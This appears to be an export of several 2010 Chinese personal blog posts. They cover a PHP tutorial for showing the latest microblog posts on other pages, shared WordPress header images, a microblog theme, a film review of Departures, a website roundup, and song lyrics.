?\u0026gt;\r当然，如果你的read.php上传的地址不是跟调用文件同级的话，这里的read.php就要改成相应的相对路径了。完成这些，你就可以在微博客外引用你的最新消息了。如果你想在WordPress的边栏引用的话需要安装能让sidebar运行PHP语言的小工具，具体可以上WP论坛搜索一下。\r如果你想要调用多个微博客的最新日志的话，你需要进行如下的设置：\n首先，你要确定你想要调用最新日志的微博客的根目录都有api.php文件存在；然后我们要试着修改read.php文件，首先你要为你要获取最新日志的微博客定义地址，将第8行复制并修改，这里以我的微博客为例：\n1 define($P2_PATH[],'https://imnerd.org/mblog/');\r2 define($P2_PATH[],'http://lizheming.cn/');\r3 define($P2_PATH[],'http://.../');\r4 define($P2_PATH[],'http://.../');\rP2_PATH_1这个变量可以自己定义，但是之后填写的要与之对应，后面单引号之间的网址则填写你想要引用最新消息的微博客的地址，你想要调用多少个微博客的最新消息则需要定义多少个变量。然后要定义读取函数，将29行复制并修改，这里还是以我的微博客为例：\r1 function readit($host)\r2 {\r3 $request = $host . ’api.php’;\r4 $result = pcurl( $request );\r5 if ($result) return $result;\r6 else return false;\r7 }\r如刚才所述，P2_PATH_1这些变量的名称必须与之前你定义的变量名称对应，然后是函数名称readit()也可以随自己定义，但是不能重复，而且之后的填写要与之对应。同样还是你要调用多少个微博客的最新日志就要定义多少个读取函数。这些都编辑好之后保存你的read.php文件并上传到你想要调用最新消息的页面的同级目录，并修改想要调用最新消息的页面，增加如下语句：\rPHP语言: 临时自用代码\r1 foreach ($P2_PATH AS $key =\u0026gt; $host)\r2 {\r3 readit($host);\r4 }\r这里需要注意的就是readit()调用函数必须与你之间定义的对应才行！好了，保存页面就可以观看到效果了。具体实例可以登录怡红院落首页与怡红别院观察。大家可以发挥自己的DIY精神，将自己的调用消息美化一下，那么简单的站外引用插件 for PageCookery 就做好啦！\rPS:感谢explon打架本博客为站外引用方案做了更加完美的优化！ ","count":1220,"date":"2010年01月27日","featuredImage":null,"permalink":"https://imnerd.org/trackback-microblogs-newest-message.html","summary":"\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/API.png\"\u003e\u003cimg class=\"alignnone size-full wp-image-1135\" title=\"API\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/API.png\" alt=\"\" width=\"450\" height=\"121\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"color: #333399;\"\u003e 首先要声明的是，这个方法不是我原创的啦！感谢\u003ca href=\"http://m.close.cc/Jerry\"\u003eJerry\u003c/a\u003e的倾力支持！这里只是对其进行论述介绍而已。还有就是，我已经到家啦！但是由于这两天上网不方便，所以现在才更新，以后不会啦！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"color: #333399;\"\u003e 这里需要用到两个文件，请大家到这里下载：\u003ca href=\"http://docs.google.com/leaf?id=0B9z45kxm7Ch6OTQxMzg1ZWUtNTNmNS00YzRiLTk2YzQtYzE4MGM5N2MyYWQ2\u0026amp;hl=zh_CN\" target=\"_blank\"\u003e传送门\u003c/a\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"站外引用微博客最新消息"},{"comments":{"data":[26],"errmsg":"","errno":0},"contents":"　哈哈，这次就不做日志header图了，直接调个我分享的header上去就OK啦！话说今天在博客无意点击评论的链接，居然进了一个类推网站，作者自己写的程序，相当不错，个人比较喜欢的是它的定时刷新功能，基本上跟IM聊天无异了。欢迎大家进去参观：河蟹微博（Jerry，我可是发篇文章给你打广告啦！），当然，由于是刚做的，所以还有很多BUG，那么就要从这个BUG说起了。话说今天在河蟹和作者Jerry海聊，时不时会出现按发布会出现两三条同样的消息的情况，河蟹推里面仅我一人有此种症状，然后大家都说灵异了，结果Jerry改了程序，声称“你永远不会灵异了，再灵异我送你300M空间！”好吧，咱还真相信他的技术，不过这灵异这回事可不是技术能够解决的，哈哈！这不，刚说完没多久，我就灵异了，原来是连发两条，这回来狠的了，直接三条给他，哈哈！这说话要算话，在我的死皮赖脸之下，300M空间就这样从天上灰到我身边啦！哈哈！暂时还没想到干什么，先建了一个灵异实验室玩玩，嘿嘿！\n然后说说正题啊，闲来无事，本来是做这些header做储备的，以后好换的，但秉着分享互联网的精神，我还是忍不住发上来啦！事先声明，素材取自互联网，我只是加工了一下而已，如有版权问题请不要跨省！我已经做好链接，点击图片即可跳到大图页面，大家右键另存为就可以啦！哈哈！（搞这么多图片的链接搞得我累死！）注意，最上面那张图也是header！而且这个header只是用于WP的默认主题（也就是那个蓝头白底的主题），其他主题不保证能用哦，而且我这个是760 x 200的，如果你的默认主题改成了960px的也别用哦！呵呵！然后是教大家怎么用哦，哼哼，只是说给菜鸟听的，高手请看下一段：将下载好的图片重命名为Kubrickheader.jpg，然后上传到wp-content/themes/default/images/文件夹下，会提示你覆盖否，当然选择是，如果你不想覆盖的话可以先进入images文件夹将kubrickheader.jpg重命名成其他的再上传。最后刷新几下浏览器就会出来啦！\n然后是最重要的事情了，这篇日志估计是我这个学期在学校的最后一次更新了，明天就要回家啦！终于可以回家咯！预计是明天晚上的车，后天中午才能到家。趁着这次分享的时候，换上了新年头哦！希望大家喜欢，另外说句，新年快乐！呵呵！\n","count":972,"date":"2010年01月24日","featuredImage":null,"permalink":"https://imnerd.org/share-header.html","summary":"\u003cp\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #333399;\"\u003e　　哈哈，这次就不做日志header图了，直接调个我分享的header上去就OK啦！话说今天在博客无意点击评论的链接，居然进了一个类推网站，作者自己写的程序，相当不错，个人比较喜欢的是它的定时刷新功能，基本上跟IM聊天无异了。欢迎大家进去参观：\u003ca href=\"http://m.close.cc/\"\u003e河蟹微博\u003c/a\u003e（Jerry，我可是发篇文章给你打广告啦！），当然，由于是刚做的，所以还有很多BUG，那么就要从这个BUG说起了。话说今天在河蟹和作者Jerry海聊，时不时会出现按发布会出现两三条同样的消息的情况，河蟹推里面仅我一人有此种症状，然后大家都说灵异了，结果Jerry改了程序，声称“\u003ca href=\"http://m.close.cc/status/709\"\u003e你永远不会灵异了，再灵异我送你300M空间！\u003c/a\u003e”好吧，咱还真相信他的技术，不过这灵异这回事可不是技术能够解决的，哈哈！这不，刚说完没多久，我就灵异了，原来是连发两条，这回来狠的了，直接三条给他，哈哈！这说话要算话，在我的\u003ca href=\"http://m.close.cc/status/776\"\u003e死皮赖脸\u003c/a\u003e之下，300M空间就这样从天上灰到我身边啦！哈哈！暂时还没想到干什么，先建了一个\u003ca href=\"http://lizheming.cn\"\u003e灵异实验室\u003c/a\u003e玩玩，嘿嘿！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"RP爆发，Header大分享！"},{"comments":{"data":[48],"errmsg":"","errno":0},"contents":" 花了四个小时的时间，终于搞定了这个皮子了。主要目的是为了达到博客和微博客的主题一样。由于偶经常会给博客换header，所以微博客那方面背景就直接引用了博客这边的地址，哈哈，这样就可以同步更新啊！目前在Firefox下么有问题，刚刚看了下，在Chrome和Safari下也么有问题，IE8看了下，header下边总会多出一条小白线，而且header和mainer总会偏斜，但是不敢改，一改FF下就不整合了。至今不解中，Opera没装就没测试了，不过也应该没有太大问题。如果是IE6的同学请不要踏进我的微博客，用IEtester看了下，简直惨不忍睹啊，五马分尸了都。由于在IE下的惨不忍睹，本人决定对IE内核实施屏蔽，于昨日晚成功加入代码，所以IE内核的同学将什么也看不到，所以说IE啊，360浏览器啊，傲游啊啥子（手机浏览咱就暂时忽略吧，PC都还么搞定呢），如果你们看不到请不要在下面抱怨哈！哈哈！（本来是有这句的，没想到发上来的时候少掉了，特来补上。）最新消息：本人已经修复了IE7/8和不同分辨率下的错位问题，现对IE正式解屏蔽，欢迎大家前去围观，不过还是IE6的童鞋就将就下了，以后再来和谐IE6吧。不介意的同学可以转至下载页面，升级您的浏览器。另外，由于屏幕分辨率问题估计也会引起错位，偶的是1280 x 800，么有问题。谨记千万莫没事就放大我的微博客，同样有五马分尸的效果。欢迎小盆友践踏围观：怡红别院 (友情提示：请使用FireFox浏览器登录以便获得更好的体验！)。偶也么啥米技术，让偶自己做个皮子出来是不可能的事情了，只好改改了。对大家来说可能很简单，但是对偶来说也是不小的尝试，不管怎么说，终于成功啦，虽然花了偶四个小时，但是偶很高兴！修改过程深刻让我体会到了IE的可恶，以及FireBug的强大。本来是要放导航栏的，但是似乎音乐墙和照片墙有点点不和谐，自己又不怎么用，干脆就把链接给清空啦！哈哈！Ohyeah\n我自己的一个算不上作品的作品，截图留念：\n","count":831,"date":"2010年01月23日","featuredImage":null,"permalink":"https://imnerd.org/new-theme-for-microblog.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1106\" title=\"microblog\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/microblog.png\" alt=\"\" width=\"450\" height=\"120\" /\u003e\n\u003cp\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e 花了四个小时的时间，终于搞定了这个皮子了。主要目的是为了达到博客和微博客的主题一样。由于偶经常会给博客换header，所以微博客那方面背景就直接引用了博客这边的地址，哈哈，这样就可以同步更新啊！目前在Firefox下么有问题，刚刚看了下，在Chrome和Safari下也么有问题，IE8看了下，header下边总会多出一条小白线，而且header和mainer总会偏斜，但是不敢改，一改FF下就不整合了。至今不解中，Opera没装就没测试了，不过也应该没有太大问题。\u003cdel\u003e如果是IE6的同学请不要踏进我的微博客，用IEtester看了下，简直惨不忍睹啊，五马分尸了都\u003cspan style=\"color: #ff9900;\"\u003e。\u003c/span\u003e\u003c/del\u003e\u003cspan style=\"color: #ff9900;\"\u003e\u003cdel datetime=\"2010-01-29T03:14:20+00:00\"\u003e由于在IE下的惨不忍睹，本人决定对IE内核实施屏蔽，于昨日晚成功加入代码，所以IE内核的同学将什么也看不到，所以说IE啊，360浏览器啊，傲游啊啥子（手机浏览咱就暂时忽略吧，PC都还么搞定呢），如果你们看不到请不要在下面抱怨哈！哈哈！（本来是有这句的，没想到发上来的时候少掉了，特来补上。）\u003c/del\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #000000;\"\u003e最新消息：本人已经修复了IE7/8和不同分辨率下的错位问题，现对IE正式解屏蔽，欢迎大家前去围观，不过还是IE6的童鞋就将就下了，以后再来和谐IE6吧。\u003c/span\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e不介意的同学可以转至\u003ca href=\"https://imnerd.org/download\"\u003e下载\u003c/a\u003e页面，升级您的浏览器。另外，由于屏幕分辨率问题估计也会引起错位，偶的是1280 x 800，么有问题。谨记千万莫没事就放大我的微博客，同样有五马分尸的效果。欢迎小盆友践踏围观：\u003ca href=\"https://imnerd.org/mblog\"\u003e怡红别院 \u003c/a\u003e(友情提示：请使用FireFox浏览器登录以便获得更好的体验！)。偶也么啥米技术，让偶自己做个皮子出来是不可能的事情了，只好改改了。对大家来说可能很简单，但是对偶来说也是不小的尝试，不管怎么说，终于成功啦，虽然花了偶四个小时，但是偶很高兴！修改过程深刻让我体会到了IE的可恶，以及FireBug的强大。本来是要放导航栏的，但是似乎音乐墙和照片墙有点点不和谐，自己又不怎么用，干脆就把链接给清空啦！哈哈！Oh\u003cdel\u003eyeah\u003c/del\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"微博客新皮"},{"comments":{"data":[40],"errmsg":"","errno":0},"contents":"\n很早在安那里看到入殓师这部电影的，今天一口气把它给看完了，哭的是稀里哗啦，一塌糊涂啊。小林君对待遗体的动作是那么的温柔，那么的柔婉。所谓入殓师的工作，是让死者最后的容貌还原到他以前的样子，让他完美的走过最后一程。每次看着他们化好妆静静的谁在那里的样子，虽然我不是他的亲人，但眼睛总是不争气的流起眼泪来。入殓师的工作不肮脏，它让死者以其最美的姿态走进另一个世界，让生者更加欣慰的看着他们离去。入殓师的工作简单而伟大，这就是为什么小林君和社长每次替死者做完入殓后，死者家属都会痛哭流涕的感谢他们的原因了。\n电影中有很多的入殓场景，第一次社长替死者入殓让小林君明白了入殓师这个职业真正的意义在哪里；澡堂阿婆的入殓让小林君的妻子明白了丈夫的工作同样是神圣的，不是卑贱的；小林君的父亲的入殓让小林君与父亲的隔阂消失，让小林君的父亲走时不给小林君留下任何憎恶。第一次社长操刀入殓的时候不仅仅感动了小林君，也深深的感动了我，看着死者鲜活的面容，眼泪顿时爆出眼眶。离去的一方走了，留下来的那个总是痛苦的，就在小林君因为工作的关系而被朋友，被妻子歧视时，社长这样安慰着他。小林君的妻子曾以肚子里的孩子要挟小林君放弃入殓师的工作，但小林君也不同意，并不是小林君不爱他妻子，而是他体会到了入殓师的伟大。任何职业都是有意义的，人在死面前总是无力的。虽然在小林君妻子知道小林君的工作是入殓师之后，小林君的妻子离家出走，当时我就在想，只要小林君带着他妻子体会一下入殓时的神圣，小林君的妻子就一定能够理解小林君的。事实也是果真如此。 肮脏的不是入殓师这个职业，而是职责这个职业肮脏的人，入殓师不是为自己的今生赎罪，而是超渡永生的人，留以最美的回忆给生的人。\nhttps://www.bilibili.com/s/video/BV1yb41147bk\n死可能是一道门，逝去并不是终结，而是走向下一程，正如门一样。我作为看门人，在这里送走了很多人，说着：路上小心，总会再见的！\n————《入殓师》\n","count":782,"date":"2010年01月22日","featuredImage":null,"permalink":"https://imnerd.org/ru-lian-shi.html","summary":"\u003cp style=\"text-align: left;\"\u003e\u003ca rel=\"attachment wp-att-1089\" href=\"https://imnerd.org/ru-lian-shi.html/rulianshi\"\u003e\u003cimg class=\"alignnone size-full wp-image-1089\" title=\"rulianshi\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/rulianshi.png\" alt=\"\" width=\"450\" height=\"160\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp style=\"text-align: left;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #333399;\"\u003e 很早在安那里看到入殓师这部电影的，今天一口气把它给看完了，哭的是稀里哗啦，一塌糊涂啊。小林君对待遗体的动作是那么的温柔，那么的柔婉。所谓入殓师的工作，是让死者最后的容貌还原到他以前的样子，让他完美的走过最后一程。每次看着他们化好妆静静的谁在那里的样子，虽然我不是他的亲人，但眼睛总是不争气的流起眼泪来。入殓师的工作不肮脏，它让死者以其最美的姿态走进另一个世界，让生者更加欣慰的看着他们离去。入殓师的工作简单而伟大，这就是为什么小林君和社长每次替死者做完入殓后，死者家属都会痛哭流涕的感谢他们的原因了。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"肮脏的不是人，是你的心灵"},{"comments":{"data":[18],"errmsg":"","errno":0},"contents":"\n本来这篇文章会晚点出来的，鉴于昨天和lovee童鞋聊的太起劲了，导致我的上篇日志达到93条评论，传院落最高峰成绩，所以火速更新日志，以免上篇日志如lovee童鞋所说“由于日志太长加载失败！”额，其实这篇文章是上篇文章的引申啦！大家可能发现我上篇日志推荐音乐用的播放器都没有用http://muzicons.com/这里的了（也可能没有发现），而是用了Google的Flash播放器，而且上篇日志最下面还多出了个可爱的调查问卷表。下面我会在这篇日志里面给大家一一介绍哦！\n一、Flash播放器：http://zh-en.org/livemp3/\n诸位看官可能要讲了，这区区一个Flash播放器有啥好讲的呢？别急，听我娓娓道来。这个页面是用来获取你存储在SkyDrive上的音乐的真实地址的，然后在套上Google音乐播放器的皮子，当当当当！Flash音乐播放器就做出来啦！大家使用的时候只要把音乐文件的下载页面复制后粘贴到输入框中单击OK就可以了！相当的简单方便吧，效果见：音乐的饕餮盛宴\n经过适用发现真的不错，拿SkyDrive当作音乐床真的是不二之选啊！当然，你可以直接通过获取外链然后自己找Flash播放器也可以啦！如何从SkyDrive中获取文件的真实外链地址请参见：http://hjp.jimdo.com/2009/05/31/skydrive/\n[ 经上篇日志的实际测试，发现效果不尽人意，特此删除！以免误导群众，不过大家可以用上面的网址获取外链地址再制作Flash播放器！ ]\n二、制作问卷调查表：http://www.askform.cn/\n想起以前Google Docs还没有被篱笆墙隔开的时候，大家都很喜欢拿Docs做调查问卷，但是天有不测风云，人有旦夕祸福，凡是红火的东西，必然逃不过篱笆墙的监管，这不，Docs作为一线人员光荣牺牲了。问道是一个专业的制作问卷调查表网站，网站提供多种调查表输出样式（Flash代码/Script代码/IFrame代码/自定义代码），并支持多种传输方式（Email传播/IM传播/Twitter分享/博客Widget）,比较不错的是，问道网站提供问卷调查表的Doc/PDF/XLS等常用文档格式的输入功能（注：该功能为VIP功能，现在注册问道网站完善会员资料可免费获取某项VIP功能）。网站需要注册才能使用，具体效果参见：音乐的饕餮盛宴\n三、小站长：http://smalladmin.com\n这是一个论坛，是Rollom同学“顶风作案”所搞出来的成果（由于近日什么论坛检查，Rollom把论坛的index.php删除了，所以我这里链接的是论坛里面的一个板块）已修复，而且本人很荣幸被Rollom看中，聘用为版主，虽然我经常不怎么发帖。除了我之外，我的友情链接里面的小小和鬼都有在里面任职哦！小站长论坛主要是介绍一些程序和技术来帮助站长建站的，喜欢一些新奇程序和各种各样的技巧的可以到里面看一看。 四、WebOS-积木网：http://www.ijimu.cn/\n好吧，继上次的网站汇总之后，这篇的网站汇总仍然少不了WebOS的身影，积木网（为什么每次谷歌拼音输“积木网”第一个是“继母王”？搞得我连打错N个……）是国人开发的一块在线操作系统，内部集成邮件管理/IM软件/办公套件/音乐管理软件/相册软件等等，似乎仿XP程度较高，有兴趣的可以去玩一下。积木网必须注册帐号才能继续使用，而且处于内测阶段，需要好友邀请才行，需要注册的同学请点击我进行注册。\n五、两个人：http://www.liageren.com/\n俩个人是一个专门为情侣们的量身定做的真实社交网络平台，温馨且 私密。俩个人是一个专门为情侣们的量身定做的真实社交网络平台，属于你 和你喜欢的人。加入俩个人社区网站，你可以用照片和日志记录下你们俩人的亲密生活；或者选择去主动联络你的朋友，恩，了解他们的最新动态，和朋友们分享相 片、音乐和电影等等。 说实在的，我推荐这个网站真的是没有意义，搞博客的基本都是单身的，成双成对的都跑博客里面恩恩爱爱去了，谁还管这个？（同意的请举右手，不同意的请去蹲马桶……\u0026gt;_\u0026lt;） 六、Penzu-私人日记本：https://penzu.com/\nPenzu 是一本免费的在线日记簿，它被设计专注于用户隐私的保护，其优雅的 用户体验绝对让人爱不释手。Penzu是一个提供免费网络个人日记簿服务的网站，不同于公众的博 客，Penzu 被设计专注于个人隐私的保护，借助各种手段，确保用户在Penzu平台上记录的生活点点滴滴是不被公开和安全存储的。值得注意的：Penzu 主站采用SSL安全套接层对用户数据进行加密传输，对于一个看似普通的互联网服务来说，官方的煞费苦心和用心良苦，足以证明他们对于用户隐私的看重。 怎么样？是不是觉得上面的话很专业，公子偶啥米时候介绍网站这么专业了？哈哈，摘抄的啦！我进去试用了一下，真的很不错哦，特别喜欢日记本的背景，可以插入图片。目前官方只提供英文站，但应该都不难理解。如果是高中的我知道这个网站之后我一定会爱不释手的，但是我已经有了我的WP啦，这么强大的东西在自己身边，我才不羡慕捏～\n七、留言系统：：http://intensedebate.com/\nIntense Debate 是一款全新概念的留言系统，只需要用户安装一款插件便可以很轻松的取代你已有的博客留言系统。可喜的是，目前的Intense Debate 已经支持完美支持Wordpress, TypePad 以及 Blogger.com 这三款占据90%以上市场份额的博客平台，能够与WP，TP，Blogger的评论系统进行互接，也就是说你在Intense Debate的评论会存储到原有程序的数据库中。你可以通过这款全新概念的留言系统，集中式管理和跟踪自己的留言，并以此平台结实更多和自己“臭味相投”的网友，甚至还可以快速访问和订阅他们的博客、社会性网络以及个人资料等等。公子在院落已经装上这个插件使用了一下，感觉还不错，可以实现回复评论局部刷新的功能！ 很明显，这个留言系统使用了嵌套浏览，所以说，如果博客经常出现以下情况的请谨慎使用！\n八、Idealife：http://idealife.lenovo.com\n这条虽然摆上去的是个网址，其实是一个软件啦！没错，是联想开发的！下面贴上官方介绍：\nidealife是联想公司整合各类互联网丰富服务和内容，以快捷的桌面客户端方式展现，方便用户快速享受丰富、精选的互联网服务，目前包括“资讯”、 “游戏”、“影视”、“音乐”、“阅读”、“服务”六个频道。\ridealife内容几乎能够满足各类用户的不同需求，休闲娱乐、读书服务、个性定制无所不包。每天来自10家的各类精选新闻资讯满足你的不同需求，无聊时可以轻松的打打游戏，既有满足专业玩家的大型网络游戏，也有快速上手的网页游戏、休闲小游戏，同时还有经典热映高清大片、用户原创的各类分享视频；心情不错时在几十万首的曲库中点上几首歌，边听着歌曲边看看各类经典畅销小说和风靡的原创网络文学；如果电脑出了点小故障，不用担心“联想服务”可帮您快速解决；\ridealife的内容及应用还在不断的增加和丰富中，很快我们将推出“电脑健康扫描”和SNS应用服务，相信在广大用户的支持下我们一定会做的越来越好！\r试用了一下，发现还是不错的，拿来看看咨询，听听歌什么的灰常爽滴！似乎还提供在线影院功能，软件特别在footer申明了一句：“测试期声明：本栏目内容来源于具备视听许可资质的SP,欢迎大家对版权和不健康内容进行监督和举报。”不过这要观看电影话需要安装一个Player插件，我这里访问插件下载页面总是失败，所以这个方面没有测试。（话说，软件的404页面我很喜欢！\u0026gt;_\u0026lt;）软件还可以看视频，下面贴上我在上面无意间淘到的绝对搞笑的视频，哈哈！友情提示：请一定要看到最后！最后一点才是全视频的精华！\r好了好了，本来还有几个网站要写的，鉴于这篇日志实在是很长了，起码是破了我的记录了，准备另开一片文章详细介绍啦！大家好好玩吧！这次就不搞投票来折磨大家了，嘿嘿！\n","count":3270,"date":"2010年01月20日","featuredImage":null,"permalink":"https://imnerd.org/wang-zhan-hui-zong-3.html","summary":"\u003cp\u003e\u003ca rel=\"attachment wp-att-1042\" href=\"https://imnerd.org/wang-zhan-hui-zong-3.html/push\"\u003e\u003cimg class=\"alignnone size-full wp-image-1042\" title=\"push\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/01/push.png\" alt=\"\" width=\"450\" height=\"131\" /\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"font-size: 14px;\"\u003e 本来这篇文章会晚点出来的，鉴于昨天和lovee童鞋聊的太起劲了，导致我的上篇日志达到93条评论，传院落最高峰成绩，所以火速更新日志，以免上篇日志如lovee童鞋所说“由于日志太长加载失败！”额，其实这篇文章是上篇文章的引申啦！大家可能发现我上篇日志推荐音乐用的播放器都没有用\u003ca href=\"http://muzicons.com/\"\u003e\u003ca href=\"http://muzicons.com/\"\u003ehttp://muzicons.com/\u003c/a\u003e\u003c/a\u003e这里的了（也可能没有发现），而是用了Google的Flash播放器，而且上篇日志最下面还多出了个可爱的调查问卷表。下面我会在这篇日志里面给大家一一介绍哦！\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":7,"title":"网站汇总「三」"},{"comments":{"data":[114],"errmsg":"","errno":0},"contents":"\r上篇日志有跟大家说火影的片头曲和片尾曲不错是吧，呵呵，今天特地做篇音乐志给大家分享下近期听到的一些好歌。不多不多，只有五首（本来说凑个十首出来的，想想还是算了，不跟风了，2010年的10已经够多了），希望大家慢慢欣赏哦！其实我这个人也不怎么听新歌的，一般就是老歌听啊听啊听，偶尔加两三首新歌进去。我电脑里面的歌基本上都是我4年前高二在听的，呵呵！好啦好啦，不多说啦，大家慢慢品味一下啦～\r首先上场的是我在朋友博客听到的一首歌，Jason Mraz的Lucky，好歌不需要我多说，请大家按下播放键，可能有些许延迟，请大家耐心等待～\n附歌词：\rDo you hear me, 你能听到吗\nI\u0026rsquo;m talking to you 我在对你讲话\nAcross the water across the deep blue ocean 越过深蓝色海洋\nUnder the open sky, oh my, baby I\u0026rsquo;m trying 在广阔的天空下，我的宝贝，我正在尝试\nBoy I hear you in my dreams 我在睡梦中听到你的声音\nI feel your whisper across the sea 你的低吟越过海洋到达我的耳边\nI keep you with me in my heart 我的心中一直在想念你\nYou make it easier when life gets hard 是你让枯燥的生活变得快乐\nI\u0026rsquo;m lucky I\u0026rsquo;m in love with my best friend 我很幸运我爱上了我最好的朋友\nLucky to have been where I have been 幸运我所经历过的一切\nLucky to be coming home again 幸运又能回到家\nOoohh ooooh oooh oooh ooh ooh ooh ooh 哦~~~~\nThey don\u0026rsquo;t know how long it takes 他们不知道过了多久\nWaiting for a love like this 等待这样的爱\nEvery time we say goodbye 每次我们说再见\nI wish we had one more kiss 我都希望能再来一个吻\nI\u0026rsquo;ll wait for you I promise you, I will 我向你保证会等你，一定\nI\u0026rsquo;m lucky I\u0026rsquo;m in love with my best friend 我很幸运我爱上了我最好的朋友\nLucky to have been where I have been 幸运我所经历过的一切\nLucky to be coming home again 幸运又能回到家\nLucky we\u0026rsquo;re in love every way 幸运我们相爱\nLucky to have stayed where we have stayed 幸运我们所停留的地方\nLucky to be coming home someday 幸运某天回到家\nAnd so I\u0026rsquo;m sailing through the sea 我在大海上扬帆\nTo an island where we\u0026rsquo;ll meet 去我们约定相见的一个海岛\nYou\u0026rsquo;ll hear the music fill the air 你会听见那飘荡在空中的音乐\nI\u0026rsquo;ll put a flower in your hair 我会在你头上插上一朵花\nThough the breezes through trees 微风掠过树梢\nMove so pretty you\u0026rsquo;re all I see 你在我眼中是如此可爱\nAs the world keeps spinning round 以至于整个世界都在旋转\nYou hold me right here right now 这一刻你紧紧抱住我\nI\u0026rsquo;m lucky I\u0026rsquo;m in love with my best friend 我很幸运我爱上了我最好的朋友\nLucky to have been where I have been 幸运我所经历过的一切\nLucky to be coming home again 幸运又能回到家\nLucky we\u0026rsquo;re in love every way 幸运我们相爱\nLucky to have stayed where we have stayed 幸运我们所停留的地方\nLucky to be coming home someday 幸运某天回到家\n第二首推荐给大家的还是Lucky!哈哈，希望大家今年一年都Lucky哦。小甜甜布兰妮的，其实这首歌是在百度搜上面那首歌找到的啦，觉得也还不错哦！听的挺激昂的～ :7\n附歌词：\rthis is the story about a girl named \u0026ldquo;lucky\u0026rdquo;\nearly morning, she wakes up, knock knock knock on the door\nit\u0026rsquo;s time for make up, perfect smile\nit\u0026rsquo;s you they\u0026rsquo;re all waitin\u0026rsquo; for.\nisn\u0026rsquo;t she lovely? this hollywood girl.\nchorus\nand they say she\u0026rsquo;s lucky\nshe\u0026rsquo;s a star\nbut she cry cry cries in her lonely heart\nthinkin\u0026rsquo; if theres nothing missing in my life\nthen why do the tears come a night?\nlost in an image\nin a dream\nbut theres no one there to wake her up\nand the world is spinning and she keeps on winning\nbut tell me what happens when it stops?\nbaby\nisn\u0026rsquo;t she lovely? this hollywood girl\nand they say she\u0026rsquo;s lucky\nshe\u0026rsquo;s a star\nbut she cry cry cries in her lonely heart\nthinkin\u0026rsquo; if theres nothing missing in my life\nthen why do the tears come a night?\n(in the background) cry, cry, cry ah ah i\nwhoa\n(man says) and the winner is: lucky!\n(in the background) cry, cry, cry ah ah i\n(man says) i\u0026rsquo;m walter jones for pop news and we\u0026rsquo;re standing\noutside waiting for lucky. oh my god! here so comes\nisn\u0026rsquo;t she lovely? this hollywood girl\nshe is so lucky but why does she cry?\nif there is nothing missing in my life why do tears come at night?\n下面就是火影歌曲隆重登场啦！这一首是片头曲Sign，相当的好听，相当的激情！特别是开头部分的英文，我相当的稀饭！哈哈！\r附歌词：\nI realize the screaming pain\nHearing loud in my brain\nBut I\u0026rsquo;m going straight ahead with the scar\n忘(わす)れてしまえばいいよ 感(かん)じなくなっちゃえばいいよ\n擦(す)りむいた心(こころ)に盖(ふた)をしたんだ\n伤(きず)ついたって平気(へいき)だよもう痛(いた)みは无(な)いからね\nその足(あし)を引(ひ)きずりながらも\n见失(みうしな)った自分自身(じぶんじしん)が\n音(おと)を立(た)てて崩(くず)れていった\n気付(きづ)けば风(かぜ)の音(おと)だけが…\n伝(つた)えに来(き)たよ 伤迹(きずあと)を辿(たど)って\n世界(せかい)に押(お)しつぶされてしまう前(まえ)に\n覚(おぼ)えてるかな 涙(なみだ)の空(そら)を\nあの痛(いた)みが君(きみ)の事(こと)を守(まも)ってくれた\nその痛(いた)みがいつも君(きみ)を守(まも)ってるんだ\n这首这首，是火影最新的片尾曲For You啦～最近才出的哦，连完整版都下载不到，据官方说要2月多才放出完整版呢！不可多得的好听啊！大家赶快听～\n附歌词：\rここにあるのは 君が今まで选んだ道の\n答え达よ ほら自信持って进めばいい\nとても自然なの 雨上がりの\nアスファルトに 虹が架かるように\nLonely 风が吹いて\nFeeling 気がついたよ\n答えはどこにも无いけど\nCall me 分かってるわ\nWith you 爱はいつも\n与え合うもの\nFor you\nきっと君はいつの日か\nこの空を飞べるはず だから\n何度つまずいたとしても for 